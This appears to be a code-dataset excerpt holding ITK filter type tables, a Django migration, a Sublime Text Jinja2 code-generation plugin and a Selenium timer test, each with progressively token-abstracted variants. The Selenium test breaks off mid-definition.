'itkPDEDeformableRegistrationFilterIUC2IUC2IVF22', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF23', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUC2IUC2IVF32', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF33', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUC2IUC2IVF42', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF43', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF22', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF23', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF32', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF33', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF42', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF43', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF2IF2IVF22', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF3IF3IVF23', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF2IF2IVF32', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF3IF3IVF33', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF2IF2IVF42', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterIF3IF3IVF43', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF22', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF23', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF32', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF33', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF42', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF43', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF22', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF23', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF32', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF33', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF42', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF43', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF22', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF23', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF32', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF33', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF42', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF43', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF22', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF23', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF32', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF33', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF42', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('SymmetricForcesDemonsRegistrationFilter',\n 'itk::SymmetricForcesDemonsRegistrationFilter',\n 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF43', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n )\nsnake_case_functions = ('level_set_motion_registration_filter',\n 'pde_deformable_registration_filter',\n 'symmetric_forces_demons_registration_filter',\n 'demons_registration_filter',\n 'multi_resolution_pde_deformable_registration')\n", "<assignment token>\n" ]

[ "# Generated by Django 2.0.1 on 2018-01-14 05:07\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('CapApp', '0026_auto_20180112_1929'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='grant',\n name='core_project_num',\n field=models.CharField(blank=True, max_length=30, null=True),\n ),\n migrations.AlterField(\n model_name='grant',\n name='pi_name',\n field=models.CharField(blank=True, max_length=500, null=True),\n ),\n ]\n", "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('CapApp', '0026_auto_20180112_1929')]\n operations = [migrations.AlterField(model_name='grant', name=\n 'core_project_num', field=models.CharField(blank=True, max_length=\n 30, null=True)), migrations.AlterField(model_name='grant', name=\n 'pi_name', field=models.CharField(blank=True, max_length=500, null=\n True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('CapApp', '0026_auto_20180112_1929')]\n operations = [migrations.AlterField(model_name='grant', name=\n 'core_project_num', field=models.CharField(blank=True, max_length=\n 30, null=True)), migrations.AlterField(model_name='grant', name=\n 'pi_name', field=models.CharField(blank=True, max_length=500, null=\n True))]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]

[ "import json\nimport sublime\nimport sublime_plugin\nimport os\nimport re\nfrom .jinja2 import Environment\n\n\nclass PluginMixin():\n def get_selection(self):\n selections = []\n for region in self.view.sel():\n if not region.empty():\n selections.append(region)\n if len(selections) == 0:\n # select whole document\n selections.append(sublime.Region(0, self.view.size()))\n return selections\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n\n def write_new_buffer(self, contents, output_suffix=\" - output\"):\n # Create a new output window\n buffername = self.view.name()\n filename = self.view.file_name()\n new_view = self.view.window().new_file()\n if buffername:\n new_view.set_name(buffername + output_suffix)\n elif filename:\n basename = os.path.basename(filename)\n new_view.set_name(basename + output_suffix)\n else:\n new_view.set_name('Untitled' + output_suffix)\n new_view.set_scratch(True)\n new_view.run_command('my_view_command', {'command': 'set_text', 'text': contents})\n\n def raise_err(self, message, exception_cls=None):\n exception_cls = exception_cls or Exception\n sublime.active_window().run_command(\"show_panel\", {\"panel\": \"console\", \"toggle\": True})\n sublime.status_message(message)\n raise exception_cls(message)\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n def run(self, edit):\n sublime.active_window().show_input_panel(\n \"Jinja2 JSON data\",\n '''[{\"value\":\"hello\"}]''',\n on_done=self.make_it_so,\n on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n\n # get json data\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n\n # make sure we can iterate\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n\n self.write_new_buffer(\"\\n\".join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err(\"No command provided\")\n\n if args['command'] == \"set_text\":\n self.view.replace(edit, sublime.Region(0, self.view.size()), args['text'])\n else:\n self.raise_err(\"Command not recognized: {}\".format(args['command']))\n", "import json\nimport sublime\nimport sublime_plugin\nimport os\nimport re\nfrom .jinja2 import Environment\n\n\nclass PluginMixin:\n\n def get_selection(self):\n selections = []\n for region in self.view.sel():\n if not region.empty():\n selections.append(region)\n if len(selections) == 0:\n selections.append(sublime.Region(0, self.view.size()))\n return selections\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n\n def write_new_buffer(self, contents, output_suffix=' - output'):\n buffername = self.view.name()\n filename = self.view.file_name()\n new_view = self.view.window().new_file()\n if buffername:\n new_view.set_name(buffername + output_suffix)\n elif filename:\n basename = os.path.basename(filename)\n new_view.set_name(basename + output_suffix)\n else:\n new_view.set_name('Untitled' + output_suffix)\n new_view.set_scratch(True)\n new_view.run_command('my_view_command', {'command': 'set_text',\n 'text': contents})\n\n def raise_err(self, message, exception_cls=None):\n exception_cls = exception_cls or Exception\n sublime.active_window().run_command('show_panel', {'panel':\n 'console', 'toggle': True})\n sublime.status_message(message)\n raise exception_cls(message)\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n\n\nclass PluginMixin:\n\n def get_selection(self):\n selections = []\n for region in self.view.sel():\n if not region.empty():\n selections.append(region)\n if len(selections) == 0:\n selections.append(sublime.Region(0, self.view.size()))\n return selections\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n\n def write_new_buffer(self, contents, output_suffix=' - output'):\n buffername = self.view.name()\n filename = self.view.file_name()\n new_view = self.view.window().new_file()\n if buffername:\n new_view.set_name(buffername + output_suffix)\n elif filename:\n basename = os.path.basename(filename)\n new_view.set_name(basename + output_suffix)\n else:\n new_view.set_name('Untitled' + output_suffix)\n new_view.set_scratch(True)\n new_view.run_command('my_view_command', {'command': 'set_text',\n 'text': contents})\n\n def raise_err(self, message, exception_cls=None):\n exception_cls = exception_cls or Exception\n sublime.active_window().run_command('show_panel', {'panel':\n 'console', 'toggle': True})\n sublime.status_message(message)\n raise exception_cls(message)\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n\n\nclass PluginMixin:\n <function token>\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n\n def write_new_buffer(self, contents, output_suffix=' - output'):\n buffername = self.view.name()\n filename = self.view.file_name()\n new_view = self.view.window().new_file()\n if buffername:\n new_view.set_name(buffername + output_suffix)\n elif filename:\n basename = os.path.basename(filename)\n new_view.set_name(basename + output_suffix)\n else:\n new_view.set_name('Untitled' + output_suffix)\n new_view.set_scratch(True)\n new_view.run_command('my_view_command', {'command': 'set_text',\n 'text': contents})\n\n def raise_err(self, message, exception_cls=None):\n exception_cls = exception_cls or Exception\n sublime.active_window().run_command('show_panel', {'panel':\n 'console', 'toggle': True})\n sublime.status_message(message)\n raise exception_cls(message)\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n\n\nclass PluginMixin:\n <function token>\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n <function token>\n\n def raise_err(self, message, exception_cls=None):\n exception_cls = exception_cls or Exception\n sublime.active_window().run_command('show_panel', {'panel':\n 'console', 'toggle': True})\n sublime.status_message(message)\n raise exception_cls(message)\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n\n\nclass PluginMixin:\n <function token>\n\n def get_contents(self):\n contents = self.view.substr(sublime.Region(0, self.view.size()))\n return contents\n <function token>\n <function token>\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n\n\nclass PluginMixin:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n<class token>\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit):\n sublime.active_window().show_input_panel('Jinja2 JSON data',\n '[{\"value\":\"hello\"}]', on_done=self.make_it_so, on_change=None,\n on_cancel=None)\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n<class token>\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n <function token>\n\n def make_it_so(self, input):\n doc = self.get_contents()\n generated = []\n try:\n data = json.loads(input)\n except Exception as ex:\n self.raise_err(str(ex))\n try:\n iter(data)\n except TypeError as te:\n data = list(data)\n try:\n for templ_vars in data:\n result = Environment().from_string(doc).render(templ_vars)\n generated.append(result)\n except Exception as ex:\n self.raise_err(str(ex))\n self.write_new_buffer('\\n'.join(generated))\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n<class token>\n\n\nclass Mattmc3CodegenFromJinja2(sublime_plugin.TextCommand, PluginMixin):\n <function token>\n <function token>\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n<class token>\n<class token>\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n\n def run(self, edit, **args):\n if 'command' not in args:\n self.raise_err('No command provided')\n if args['command'] == 'set_text':\n self.view.replace(edit, sublime.Region(0, self.view.size()),\n args['text'])\n else:\n self.raise_err('Command not recognized: {}'.format(args['command'])\n )\n", "<import token>\n<class token>\n<class token>\n\n\nclass MyViewCommandCommand(sublime_plugin.TextCommand, PluginMixin):\n <function token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n" ]

[ "from selenium import webdriver\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nimport sched\r\nimport time\r\nfrom datetime import datetime\r\n\r\nclass Eggtests:\r\n\r\n def setup(self):\r\n self.driver = webdriver.Chrome()\r\n self.driver.get('https://e.ggtimer.com/')\r\n self.driver.maximize_window()\r\n my_element = WebDriverWait(self.driver, 3).until(EC.visibility_of_all_elements_located((By.ID,'start_a_timer')))\r\n\r\n def test(self, interval):\r\n self.set_item(interval)\r\n self.click_go()\r\n first_display_value = self.get_first_display_number()\r\n self.check_timer(first_display_value)\r\n\r\n def set_item(self, interval):\r\n item_element = self.driver.find_element(By.ID, 'start_a_timer')\r\n item_element.clear()\r\n self.input_interval = int(interval)\r\n item_element.send_keys(interval)\r\n\r\n def click_go(self):\r\n go_button = self.driver.find_element(By.ID, 'timergo')\r\n #System time before the click button\r\n self.go_button_click_time = datetime.now()\r\n go_button.submit()\r\n\r\n def get_first_display_number(self):\r\n return self.get_display_number();\r\n\r\n def get_display_number(self):\r\n timer_element = self.driver.find_element(By.ID, 'progressText')\r\n string_value_read = timer_element.text\r\n #split on space and get 1st value\r\n string_array = string_value_read.split(\" \")\r\n number_value_read = string_array[0]\r\n int_value_read = int(number_value_read)\r\n return int_value_read\r\n\r\n def get_time_elapesed_from_click_go(self):\r\n #current system time minus the time when go was clicked in seconds\r\n diff_in_float = (datetime.now() - self.go_button_click_time).total_seconds()\r\n diff_in_int = int(diff_in_float)\r\n #return input count minus the difference in seconds\r\n return self.input_interval - diff_in_int\r\n\r\n def check_timer(self, int_value):\r\n\r\n if int_value > 0:\r\n elapsed_time = self.get_time_elapesed_from_click_go()\r\n int_value_read = self.get_display_number()\r\n assert int_value_read == int_value\r\n\r\n if int_value >= 0:\r\n s = sched.scheduler(time.time, time.sleep)\r\n s.enter(1, 1, self.check_timer, argument=(int_value-1,))\r\n s.run()\r\n\r\n if int_value < 0:\r\n alert = self.driver.switch_to.alert\r\n alert.accept()\r\n\r\n def 